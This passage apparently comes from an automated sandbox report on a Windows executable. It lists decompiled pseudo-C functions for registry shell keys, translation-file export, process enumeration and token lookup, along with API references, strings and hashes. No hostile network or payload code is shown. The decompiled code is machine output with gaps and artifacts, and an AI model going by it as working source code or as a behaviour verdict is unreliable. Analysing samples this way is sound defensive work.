				if(E00409ECC(_t76, _v8,  &_v6176,  &_v12) == 0) {
					_t49 = E00409EF4(_v12, 0x40c4e8, _t78 + 0x414);
					asm("sbb ebx, ebx");
					_t73 =  ~_t49 + 1;
					RegCloseKey(_v12);
					_v2080 = _v2080 & 0x00000000;
					memset( &_v2078, 0, 0x7fe);
					E00404AD9( &_v2080);
					if(_v2078 == 0x3a) {
						_t55 =  *L"C:\\"; // 0x3a0043
						_v32 = _t55;
						_t56 =  *0x40ccdc; // 0x5c
						_v28 = _t56;
						asm("stosd");
						asm("stosd");
						asm("stosd");
						_v32 = _v2080;
						if(GetDriveTypeW( &_v32) == 3) {
							_v4128 = 0;
							memset( &_v4126, 0, 0x7fe);
							_v8224 = 0;
							memset( &_v8222, 0, 0x7fe);
							_push(_a4 + 0x20a);
							_push(_a4);
							_push(L"%s\\shell\\%s");
							_push(0x3ff);
							_push( &_v8224);
							L0040B1EC();
							_push( &_v2080);
							_push(L"\"%s\",0");
							_push(0x3ff);
							_push( &_v4128);
							L0040B1EC();
							E00409F1A(_t76, _v8,  &_v8224,  &_v4128);
						}
					}
				}
				RegCloseKey(_v8);
				goto L6;
			}

0x00404415
0x0040441d
0x0040442c
0x00404435
0x004045b3
0x004045b7
0x004045b7
0x0040444b
0x00404452
0x00404457
0x00404460
0x00404461
0x00404462
0x0040446d
0x00404472
0x00404473
0x00404490
0x004044a5
0x004044b4
0x004044b6
0x004044b7
0x004044bd
0x004044cf
0x004044db
0x004044eb
0x004044f1
0x004044f6
0x004044f9
0x004044fe
0x00404506
0x00404507
0x00404508
0x00404510
0x00404521
0x00404532
0x00404539
0x00404547
0x0040454e
0x0040455b
0x0040455c
0x00404564
0x0040456f
0x00404570
0x00404571
0x0040457c
0x0040457d
0x00404588
0x00404589
0x0040458a
0x004045a0
0x004045a5
0x00404521
0x004044eb
0x004045ab
0x00000000

APIs

memset.MSVCRT ref: 00404452
_snwprintf.MSVCRT ref: 00404473

Part of subcall function 00409ECC: RegCreateKeyExW.ADVAPI32(?,?,00000000,0040C4E8,00000000,000F003F,00000000,?,?,?,?,0040448B,?,?,?,?), ref: 00409EEC

RegCloseKey.ADVAPI32(?,?,?,?,0002001F,?,?,0040390E,?), ref: 004045AB

Part of subcall function 00409EF4: wcslen.MSVCRT ref: 00409EF8
Part of subcall function 00409EF4: RegSetValueExW.ADVAPI32(004044AA,004044AA,00000000,00000001,004044AA,?,004044AA,?,0040C4E8,?,?,?,?,0002001F), ref: 00409F13

RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,0002001F,?,?,0040390E,?), ref: 004044B7
memset.MSVCRT ref: 004044CF

Part of subcall function 00404AD9: GetModuleFileNameW.KERNEL32(00000000,e/@,00000104,00402F65,00000000,?,?,00000000), ref: 00404AE4

GetDriveTypeW.KERNEL32(?), ref: 00404518
memset.MSVCRT ref: 00404539
memset.MSVCRT ref: 0040454E
_snwprintf.MSVCRT ref: 00404571
_snwprintf.MSVCRT ref: 0040458A

Part of subcall function 00409F1A: RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00409F57

Strings

%s\shell\%s\command, xrefs: 00404462
C:\, xrefs: 004044F1
"%s",0, xrefs: 0040457D
%s\shell\%s, xrefs: 00404564
:, xrefs: 004044E3

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memset$Close_snwprintf$CreateDriveFileModuleNameTypeValuewcslen
String ID: "%s",0$%s\shell\%s$%s\shell\%s\command$:$C:\
API String ID: 486436031-734527199
Opcode ID: 1a4cdad823c9c3dfd4e992b957ed6e3c88109aac474059595a3945d4247565ab
Instruction ID: 27235bf79c6ca8476a2d09a82ed3c32274241934b1c07e7e02f5f4f3263a5ff1
Opcode Fuzzy Hash: 1a4cdad823c9c3dfd4e992b957ed6e3c88109aac474059595a3945d4247565ab
Instruction Fuzzy Hash: A4410EB294021CFADB20DB95CC85DDFB6BCEF44304F0084B6B608F2191E7789B559BA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040645E, Relevance: 26.3, APIs: 8, Strings: 7, Instructions: 95
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E0040645E(void* __ecx, void* __eflags, struct HINSTANCE__* _a4, wchar_t* _a8) {
				void _v530;
				char _v532;
				void _v1042;
				long _v1044;
				long _v4116;
				char _v5164;
				void* __edi;
				void* _t27;
				void* _t38;
				void* _t44;

				E0040B550(0x142c, __ecx);
				_v1044 = 0;
				memset( &_v1042, 0, 0x1fc);
				_v532 = 0;
				memset( &_v530, 0, 0x208);
				E00404AD9( &_v532);
				_pop(_t44);
				E00405AA7( &_v5164);
				_t27 = E0040B04D( &_v5164,  &_v532);
				_t61 = _t27;
				if(_t27 != 0) {
					wcscpy( &_v1044,  &_v4116);
					_pop(_t44);
				}
				wcscpy(0x40fb90, _a8);
				wcscpy(0x40fda0, L"general");
				E00405FAC(_t61, L"TranslatorName", 0x40c4e8, 0);
				E00405FAC(_t61, L"TranslatorURL", 0x40c4e8, 0);
				E00405FAC(_t61, L"Version",  &_v1044, 1);
				E00405FAC(_t61, L"RTL", "0", 0);
				EnumResourceNamesW(_a4, 4, E0040620E, 0);
				EnumResourceNamesW(_a4, 5, E0040620E, 0);
				wcscpy(0x40fda0, L"strings");
				_t38 = E00406337(_t44, _t61, _a4);
				 *0x40fb90 =  *0x40fb90 & 0x00000000;
				return _t38;
			}

0x00406466
0x0040647d
0x00406484
0x00406499
0x004064a0
0x004064af
0x004064b4
0x004064bb
0x004064cd
0x004064d2
0x004064d4
0x004064e4
0x004064ea
0x004064ea
0x004064f3
0x00406503
0x00406514
0x00406525
0x0040653b
0x0040654e
0x00406568
0x00406572
0x0040657a
0x00406582
0x0040658a
0x00406596

APIs

memset.MSVCRT ref: 00406484
memset.MSVCRT ref: 004064A0

Part of subcall function 00404AD9: GetModuleFileNameW.KERNEL32(00000000,e/@,00000104,00402F65,00000000,?,?,00000000), ref: 00404AE4

Part of subcall function 0040B04D: GetFileVersionInfoSizeW.VERSION(004064D2,?,00000000), ref: 0040B063
Part of subcall function 0040B04D: ??2@YAPAXI@Z.MSVCRT ref: 0040B07E
Part of subcall function 0040B04D: GetFileVersionInfoW.VERSION(004064D2,00000000,?,00000000,00000000,004064D2,?,00000000), ref: 0040B08E
Part of subcall function 0040B04D: VerQueryValueW.VERSION(00000000,0040CD2C,004064D2,?,004064D2,00000000,?,00000000,00000000,004064D2,?,00000000), ref: 0040B0A1
Part of subcall function 0040B04D: VerQueryValueW.VERSION(00000000,\VarFileInfo\Translation,?,?,00000000,0040CD2C,004064D2,?,004064D2,00000000,?,00000000,00000000,004064D2,?,00000000), ref: 0040B0DE
Part of subcall function 0040B04D: _snwprintf.MSVCRT ref: 0040B0FE
Part of subcall function 0040B04D: wcscpy.MSVCRT ref: 0040B128

wcscpy.MSVCRT ref: 004064E4
wcscpy.MSVCRT ref: 004064F3
wcscpy.MSVCRT ref: 00406503
EnumResourceNamesW.KERNEL32(00406602,00000004,0040620E,00000000), ref: 00406568
EnumResourceNamesW.KERNEL32(00406602,00000005,0040620E,00000000), ref: 00406572
wcscpy.MSVCRT ref: 0040657A

Strings

SFM, xrefs: 00406502
TranslatorURL, xrefs: 00406520
RTL, xrefs: 00406549
strings, xrefs: 00406574
Version, xrefs: 00406536
general, xrefs: 004064F8
TranslatorName, xrefs: 0040650F

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: wcscpy$File$EnumInfoNamesQueryResourceValueVersionmemset$??2@ModuleNameSize_snwprintf
String ID: RTL$SFM$TranslatorName$TranslatorURL$Version$general$strings
API String ID: 3037099051-2314623505
Opcode ID: 7fb88fb6233af2db2d2511ed574e16bdb1e94482582c0cb23d08965938a53254
Instruction ID: e6de4c2f5101c47608bcafe23e33f00a3ad23f8f2b1db811bf874d9a9dfc23cd
Opcode Fuzzy Hash: 7fb88fb6233af2db2d2511ed574e16bdb1e94482582c0cb23d08965938a53254
Instruction Fuzzy Hash: ED21547294021875DB20B756DC4BECF3A6CEF44754F0105BBB508B21D2D7BC5A9489ED

Uniqueness

Uniqueness Score: -1.00%

Function 00409A94, Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 154
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 44%

			E00409A94(long _a4, intOrPtr _a8) {
				int _v8;
				int _v12;
				int _v16;
				void* _v20;
				void* _v24;
				char _v28;
				intOrPtr _v32;
				char _v36;
				char _v44;
				char _v52;
				char _v60;
				void _v315;
				char _v316;
				void _v826;
				char _v828;
				void _v1338;
				char _v1340;
				void* __esi;
				void* _t61;
				_Unknown_base(*)()* _t93;
				void* _t94;
				int _t106;
				void* _t108;
				void* _t110;

				_v828 = 0;
				memset( &_v826, 0, 0x1fe);
				_v1340 = 0;
				memset( &_v1338, 0, 0x1fe);
				_t110 = _t108 + 0x18;
				_t61 = OpenProcess(0x400, 0, _a4);
				_t113 = _t61;
				_v20 = _t61;
				if(_t61 == 0) {
					L11:
					if(_v828 == 0) {
						__eflags = 0;
						return 0;
					}
					_push( &_v828);
					_push( &_v1340);
					_push(L"%s\\%s");
					_push(0xff);
					_push(_a8);
					L0040B1EC();
					return 1;
				}
				_v8 = 0;
				_v24 = 0;
				E00408F92( &_v8, _t113, _t61, 8,  &_v24);
				_t106 = _v24;
				if(_t106 == 0) {
					_t32 =  &_v20; // 0x4059ec
					E00409555( *_t32,  &_v36,  &_v44,  &_v52,  &_v60);
					_v316 = 0;
					memset( &_v315, 0, 0xfe);
					_t110 = _t110 + 0x20;
					_v16 = 0xff;
					__eflags = E00409A46(0x41c4b4, _a4,  &_v316,  &_v16, _v36, _v32);
					if(__eflags == 0) {
						L9:
						CloseHandle(_v20);
						if(_v8 != 0) {
							FreeLibrary(_v8);
						}
						goto L11;
					}
					_push( &_v28);
					_push( &_a4);
					_push( &_v1340);
					_push( &_v12);
					_push( &_v828);
					_a4 = 0xff;
					_push( &_v316);
					L8:
					_v12 = 0xff;
					E0040906D( &_v8, _t117);
					goto L9;
				}
				_v316 = 0;
				memset( &_v315, 0, 0xff);
				_v12 = _t106;
				_t110 = _t110 + 0xc;
				_a4 = 0;
				if(E00408F72( &_v8) == 0) {
					goto L9;
				}
				_t93 = GetProcAddress(_v8, "GetTokenInformation");
				if(_t93 == 0) {
					goto L9;
				}
				_t94 =  *_t93(_v12, 1,  &_v316, 0xff,  &_a4);
				_t117 = _t94;
				if(_t94 == 0) {
					goto L9;
				}
				_push( &_v28);
				_push( &_v12);
				_push( &_v1340);
				_push( &_v16);
				_push( &_v828);
				_push(_v316);
				_v16 = 0xff;
				goto L8;
			}

0x00409ab0
0x00409ab7
0x00409ac8
0x00409acf
0x00409ad4
0x00409ae0
0x00409ae6
0x00409ae8
0x00409af0
0x00409c3a
0x00409c41
0x00409c67
0x00000000
0x00409c67
0x00409c49
0x00409c50
0x00409c51
0x00409c56
0x00409c57
0x00409c5a
0x00000000
0x00409c64
0x00409b00
0x00409b03
0x00409b06
0x00409b0b
0x00409b10
0x00409ba9
0x00409bac
0x00409bc1
0x00409bc7
0x00409bcc
0x00409bd8
0x00409bf0
0x00409bf2
0x00409c23
0x00409c26
0x00409c2f
0x00409c34
0x00409c34
0x00000000
0x00409c2f
0x00409bf7
0x00409bfb
0x00409c02
0x00409c06
0x00409c0d
0x00409c14
0x00409c17
0x00409c18
0x00409c1b
0x00409c1e
0x00000000
0x00409c1e
0x00409b1f
0x00409b25
0x00409b2a
0x00409b2d
0x00409b33
0x00409b3d
0x00000000
0x00000000
0x00409b4b
0x00409b53
0x00000000
0x00000000
0x00409b6a
0x00409b6c
0x00409b6e
0x00000000
0x00000000
0x00409b77
0x00409b7b
0x00409b82
0x00409b86
0x00409b8d
0x00409b8e
0x00409b94
0x00000000

APIs

memset.MSVCRT ref: 00409AB7
memset.MSVCRT ref: 00409ACF
OpenProcess.KERNEL32(00000400,00000000,?,?,?,?,?,00000000,00000000), ref: 00409AE0
_snwprintf.MSVCRT ref: 00409C5A

Part of subcall function 00408F92: GetProcAddress.KERNEL32(00000000,OpenProcessToken), ref: 00408FA8

memset.MSVCRT ref: 00409B25
GetProcAddress.KERNEL32(?,GetTokenInformation), ref: 00409B4B
memset.MSVCRT ref: 00409BC7
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000008,?), ref: 00409C26
FreeLibrary.KERNEL32(?,?,?,?,?,?,00000000,00000008,?,?,?,?,?,00000000,00000000), ref: 00409C34

Strings

Y@, xrefs: 00409BA9
%s\%s, xrefs: 00409C51
GetTokenInformation, xrefs: 00409B43

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memset$AddressProc$CloseFreeHandleLibraryOpenProcess_snwprintf
String ID: %s\%s$GetTokenInformation$Y@
API String ID: 3504373036-27875219
Opcode ID: fa417e9f9b304094a666d2d32e69bd60d5871efe85622ded7a3fc1f13b21d4e3
Instruction ID: eda2fbc970d96949daa6443d9737cdff9b2c135ab99c7c98679ff10ae30762ca
Opcode Fuzzy Hash: fa417e9f9b304094a666d2d32e69bd60d5871efe85622ded7a3fc1f13b21d4e3
Instruction Fuzzy Hash: E451C9B2C0021DBADB51EB95DC81DEFBBBDEB44344F1045BAB505B2191EA349F84CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00409172, Relevance: 21.0, APIs: 6, Strings: 6, Instructions: 49
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00409172() {
				void* _t1;
				int _t2;
				struct HINSTANCE__* _t5;

				if( *0x4101bc != 0) {
					return _t1;
				}
				_t2 = E00405436(L"psapi.dll");
				_t5 = _t2;
				if(_t5 == 0) {
					L10:
					return _t2;
				} else {
					_t2 = GetProcAddress(_t5, "GetModuleBaseNameW");
					 *0x40f848 = _t2;
					if(_t2 != 0) {
						_t2 = GetProcAddress(_t5, "EnumProcessModules");
						 *0x40f840 = _t2;
						if(_t2 != 0) {
							_t2 = GetProcAddress(_t5, "GetModuleFileNameExW");
							 *0x40f838 = _t2;
							if(_t2 != 0) {
								_t2 = GetProcAddress(_t5, "EnumProcesses");
								 *0x40fa6c = _t2;
								if(_t2 != 0) {
									_t2 = GetProcAddress(_t5, "GetModuleInformation");
									 *0x40f844 = _t2;
									if(_t2 != 0) {
										 *0x4101bc = 1;
									}
								}
							}
						}
					}
					if( *0x4101bc == 0) {
						_t2 = FreeLibrary(_t5);
					}
					goto L10;
				}
			}

0x00409179
0x00409209
0x00409209
0x00409185
0x0040918a
0x0040918f
0x00409208
0x00000000
0x00409191
0x0040919e
0x004091a2
0x004091a7
0x004091af
0x004091b3
0x004091b8
0x004091c0
0x004091c4
0x004091c9
0x004091d1
0x004091d5
0x004091da
0x004091e2
0x004091e6
0x004091eb
0x004091ed
0x004091ed
0x004091eb
0x004091da
0x004091c9
0x004091b8
0x004091ff
0x00409202
0x00409202
0x00000000
0x004091ff

APIs

Part of subcall function 00405436: memset.MSVCRT ref: 00405456
Part of subcall function 00405436: wcscat.MSVCRT ref: 00405478
Part of subcall function 00405436: LoadLibraryW.KERNELBASE(00000000), ref: 00405489
Part of subcall function 00405436: LoadLibraryW.KERNEL32(?), ref: 00405492

GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 0040919E
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 004091AF
GetProcAddress.KERNEL32(00000000,GetModuleFileNameExW), ref: 004091C0
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 004091D1
GetProcAddress.KERNEL32(00000000,GetModuleInformation), ref: 004091E2
FreeLibrary.KERNEL32(00000000), ref: 00409202

Strings

EnumProcesses, xrefs: 004091CB
psapi.dll, xrefs: 00409180
GetModuleInformation, xrefs: 004091DC
GetModuleBaseNameW, xrefs: 00409198
EnumProcessModules, xrefs: 004091A9
GetModuleFileNameExW, xrefs: 004091BA

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$Library$Load$Freememsetwcscat
String ID: EnumProcessModules$EnumProcesses$GetModuleBaseNameW$GetModuleFileNameExW$GetModuleInformation$psapi.dll
API String ID: 1182944575-70141382
Opcode ID: d87044beb2f544c687dd7353a18839beb98a5be9ca02ea53753111702b61b9a8
Instruction ID: e8d56a808bd010e6a3fef0dff4ae07571f85a6d4972d2e5c8a67e4e39b9e152a
Opcode Fuzzy Hash: d87044beb2f544c687dd7353a18839beb98a5be9ca02ea53753111702b61b9a8
Instruction Fuzzy Hash: 33017175A41207BAD7205B656D88FB739E49B91B51B14413FE404F12D2DB7C88459F2C

Uniqueness

Uniqueness Score: -1.00%

Function 004090EE, Relevance: 21.0, APIs: 6, Strings: 6, Instructions: 44
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004090EE() {
				void* _t1;
				_Unknown_base(*)()* _t2;
				struct HINSTANCE__* _t4;

				if( *0x4101b8 != 0) {
					return _t1;
				}
				_t2 = GetModuleHandleW(L"kernel32.dll");
				_t4 = _t2;
				if(_t4 == 0) {
					L9:
					return _t2;
				}
				_t2 = GetProcAddress(_t4, "CreateToolhelp32Snapshot");
				 *0x40f83c = _t2;
				if(_t2 != 0) {
					_t2 = GetProcAddress(_t4, "Module32First");
					 *0x40f834 = _t2;
					if(_t2 != 0) {
						_t2 = GetProcAddress(_t4, "Module32Next");
						 *0x40f830 = _t2;
						if(_t2 != 0) {
							_t2 = GetProcAddress(_t4, "Process32First");
							 *0x40f5c4 = _t2;
							if(_t2 != 0) {
								_t2 = GetProcAddress(_t4, "Process32Next");
								 *0x40f828 = _t2;
								if(_t2 != 0) {
									 *0x4101b8 = 1;
								}
							}
						}
					}
				}
				goto L9;
			}

0x004090f5
0x00409171
0x00409171
0x004090fd
0x00409103
0x00409107
0x00409170
0x00000000
0x00409170
0x00409116
0x0040911a
0x0040911f
0x00409127
0x0040912b
0x00409130
0x00409138
0x0040913c
0x00409141
0x00409149
0x0040914d
0x00409152
0x0040915a
0x0040915e
0x00409163
0x00409165
0x00409165
0x00409163
0x00409152
0x00409141
0x00409130
0x00000000

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,?,00408C9F), ref: 004090FD
GetProcAddress.KERNEL32(00000000,CreateToolhelp32Snapshot), ref: 00409116
GetProcAddress.KERNEL32(00000000,Module32First), ref: 00409127
GetProcAddress.KERNEL32(00000000,Module32Next), ref: 00409138
GetProcAddress.KERNEL32(00000000,Process32First), ref: 00409149
GetProcAddress.KERNEL32(00000000,Process32Next), ref: 0040915A

Strings

Process32First, xrefs: 00409143
Module32First, xrefs: 00409121
kernel32.dll, xrefs: 004090F8
CreateToolhelp32Snapshot, xrefs: 00409110
Process32Next, xrefs: 00409154
Module32Next, xrefs: 00409132

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$HandleModule
String ID: CreateToolhelp32Snapshot$Module32First$Module32Next$Process32First$Process32Next$kernel32.dll
API String ID: 667068680-3953557276
Opcode ID: 684ed8b1756a354eaa76eb9bf25297defa38c2621817bb94c0e51767f3dc11ec
Instruction ID: 22745fca4ee5753030f6263dae9a7fe791be1dfa5e14f8ddaef7bf0c79e2feda
Opcode Fuzzy Hash: 684ed8b1756a354eaa76eb9bf25297defa38c2621817bb94c0e51767f3dc11ec
Instruction Fuzzy Hash: D6F01D71F41313EAE761AB786E84F673AF85A85B44714403BA804F53D9EB7C8C46CA6C

Uniqueness

Uniqueness Score: -1.00%

Function 00409F9C, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 99
COMMON

Download Yara Rule

C-Code - Quality: 56%

			E00409F9C(intOrPtr* __ecx, intOrPtr _a4, intOrPtr _a8, long long* _a12, long long _a16) {
				void _v514;
				char _v516;
				void _v1026;
				char _v1028;
				void _v1538;
				char _v1540;
				void* _t39;
				intOrPtr* _t50;
				void* _t61;

				_t50 = __ecx;
				_push(0x1fe);
				_push(0);
				if( *((intOrPtr*)(__ecx + 4)) == 0) {
					_v1540 = 0;
					memset( &_v1538, ??, ??);
					_v1028 = 0;
					memset( &_v1026, 0, 0x1fe);
					_v516 = 0;
					memset( &_v514, 0, 0x1fe);
					L0040B1EC();
					 *((long long*)(_t61 + 0x2c)) = _a16;
					L0040B1EC();
					_t39 =  *((intOrPtr*)( *_t50 + 0x10))(_a4,  &_v1540,  &_v1028, 0xff,  &_v1028, 0xff,  &_v516,  &_v516, 0xff, L"%%0.%df", _a8);
					if (_t39 != 0) goto L3;
					return _t39;
				}
				_v516 = 0;
				memset( &_v514, ??, ??);
				_v1028 = 0;
				memset( &_v1026, 0, 0x1fe);
				L0040B1EC();
				 *((long long*)(_t61 + 0x20)) =  *_a12;
				L0040B1EC();
				return  *((intOrPtr*)( *_t50 + 0x10))(_a4,  &_v516, 0x40c4e8, 0xff,  &_v516, 0xff,  &_v1028,  &_v1028, 0xff, L"%%0.%df", _a8);
			}

0x00409faf
0x00409fb4
0x00409fb5
0x00409fb6
0x0040a043
0x0040a04a
0x0040a058
0x0040a05f
0x0040a06d
0x0040a074
0x0040a08e
0x0040a099
0x0040a0ab
0x0040a0c9
0x0040a0ce
0x00000000
0x0040a0ce
0x00409fc3
0x00409fca
0x00409fd8
0x00409fdf
0x00409ff9
0x0040a006
0x0040a018
0x00000000

APIs

memset.MSVCRT ref: 00409FCA
memset.MSVCRT ref: 00409FDF
_snwprintf.MSVCRT ref: 00409FF9
_snwprintf.MSVCRT ref: 0040A018
memset.MSVCRT ref: 0040A04A
memset.MSVCRT ref: 0040A05F
memset.MSVCRT ref: 0040A074
_snwprintf.MSVCRT ref: 0040A08E
_snwprintf.MSVCRT ref: 0040A0AB

Strings

%%0.%df, xrefs: 00409FEC, 0040A081

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memset$_snwprintf
String ID: %%0.%df
API String ID: 3473751417-763548558
Opcode ID: 9c1d8227a7254b2b345134e9c44fb34bf141cbad45bd10bf7a91d83f6708c758
Instruction ID: 9f87d91c1f60d09641f67b426c6f30a2a5dee33008317eed3759a4a42041cb36
Opcode Fuzzy Hash: 9c1d8227a7254b2b345134e9c44fb34bf141cbad45bd10bf7a91d83f6708c758
Instruction Fuzzy Hash: 61315D72940129AADB20DF95CC89FEB777CEF49344F0004FAB509B6152D7349A94CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040620E, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 97
windowCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E0040620E(void* __ecx, void* __eflags, struct HINSTANCE__* _a4, struct HWND__* _a8, WCHAR* _a12) {
				void _v8202;
				short _v8204;
				void* _t27;
				short _t29;
				short _t40;
				void* _t41;
				struct HMENU__* _t43;
				short _t50;
				void* _t52;
				struct HMENU__* _t59;

				E0040B550(0x2008, __ecx);
				_t65 = _a8 - 4;
				if(_a8 != 4) {
					__eflags = _a8 - 5;
					if(_a8 == 5) {
						_t50 =  *0x40fe2c; // 0x0
						__eflags = _t50;
						if(_t50 == 0) {
							L8:
							_push(_a12);
							_t27 = 5;
							E00405E8D(_t27);
							_t29 = CreateDialogParamW(_a4, _a12, 0, E00406209, 0);
							__eflags = _t29;
							_a8 = _t29;
							if(_t29 == 0) {
								_a8 = CreateDialogParamW(_a4, _a12, GetDesktopWindow(), E00406209, 0);
							}
							_v8204 = 0;
							memset( &_v8202, 0, 0x2000);
							GetWindowTextW(_a8,  &_v8204, 0x1000);
							__eflags = _v8204;
							if(__eflags != 0) {
								E00405FAC(__eflags, L"caption",  &_v8204, 0);
							}
							EnumChildWindows(_a8, E0040614F, 0);
							DestroyWindow(_a8);
						} else {
							while(1) {
								_t40 =  *_t50;
								__eflags = _t40;
								if(_t40 == 0) {
									goto L8;
								}
								__eflags = _t40 - _a12;
								if(_t40 != _a12) {
									_t50 = _t50 + 4;
									__eflags = _t50;
									continue;
								}
								goto L13;
							}
							goto L8;
						}
					}
				} else {
					_push(_a12);
					_t41 = 4;
					E00405E8D(_t41);
					_pop(_t52);
					_t43 = LoadMenuW(_a4, _a12);
					 *0x40fe20 =  *0x40fe20 & 0x00000000;
					_t59 = _t43;
					_push(1);
					_push(_t59);
					_push(_a12);
					E0040605E(_t52, _t65);
					DestroyMenu(_t59);
				}
				L13:
				return 1;
			}

0x00406216
0x0040621b
0x00406222
0x0040625f
0x00406263
0x00406269
0x00406271
0x00406273
0x00406289
0x00406289
0x0040628e
0x0040628f
0x004062a9
0x004062ab
0x004062ad
0x004062b0
0x004062c3
0x004062c3
0x004062d3
0x004062da
0x004062f1
0x004062f7
0x004062fe
0x0040630d
0x00406312
0x0040631e
0x00406327
0x00406275
0x00406283
0x00406283
0x00406285
0x00406287
0x00000000
0x00000000
0x00406277
0x0040627a
0x00406280
0x00406280
0x00000000
0x00406280
0x00000000
0x0040627a
0x00000000
0x00406283
0x00406273
0x00406224
0x00406224
0x00406229
0x0040622a
0x0040622f
0x00406236
0x0040623c
0x00406243
0x00406245
0x00406247
0x00406248
0x0040624b
0x00406254
0x00406254
0x0040632d
0x00406334

APIs

LoadMenuW.USER32 ref: 00406236

Part of subcall function 0040605E: GetMenuItemCount.USER32 ref: 00406074
Part of subcall function 0040605E: memset.MSVCRT ref: 00406093
Part of subcall function 0040605E: GetMenuItemInfoW.USER32 ref: 004060CF
Part of subcall function 0040605E: wcschr.MSVCRT ref: 004060E7

DestroyMenu.USER32(00000000), ref: 00406254
CreateDialogParamW.USER32 ref: 004062A9
GetDesktopWindow.USER32 ref: 004062B4
CreateDialogParamW.USER32 ref: 004062C1
memset.MSVCRT ref: 004062DA
GetWindowTextW.USER32 ref: 004062F1
EnumChildWindows.USER32 ref: 0040631E
DestroyWindow.USER32(00000005), ref: 00406327

Part of subcall function 00405E8D: _snwprintf.MSVCRT ref: 00405EB2

Strings

caption, xrefs: 00406308

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Menu$Window$CreateDestroyDialogItemParammemset$ChildCountDesktopEnumInfoLoadTextWindows_snwprintfwcschr
String ID: caption
API String ID: 973020956-4135340389
Opcode ID: f0dbf22cb8dfb05ce39814170fe8d0dcd326ef21813c42225809b1f658733472
Instruction ID: 5799234da4ec4704710f53c86087676007739614705d168b27d1301efcd7018e
Opcode Fuzzy Hash: f0dbf22cb8dfb05ce39814170fe8d0dcd326ef21813c42225809b1f658733472
Instruction Fuzzy Hash: D2316171900208FFEF11AF94DC859AF3B69FB04314F11847AF90AA51A1D7758964CF99

Uniqueness

Uniqueness Score: -1.00%

Function 004081E4, Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 90
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E004081E4(intOrPtr* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				void _v2050;
				char _v2052;
				void _v4098;
				long _v4100;
				void _v6146;
				char _v6148;
				void* __esi;
				void* _t43;
				intOrPtr* _t49;
				intOrPtr* _t57;
				void* _t58;
				void* _t59;
				intOrPtr _t62;
				intOrPtr _t63;

				_t49 = __ecx;
				E0040B550(0x1800, __ecx);
				_t57 = _t49;
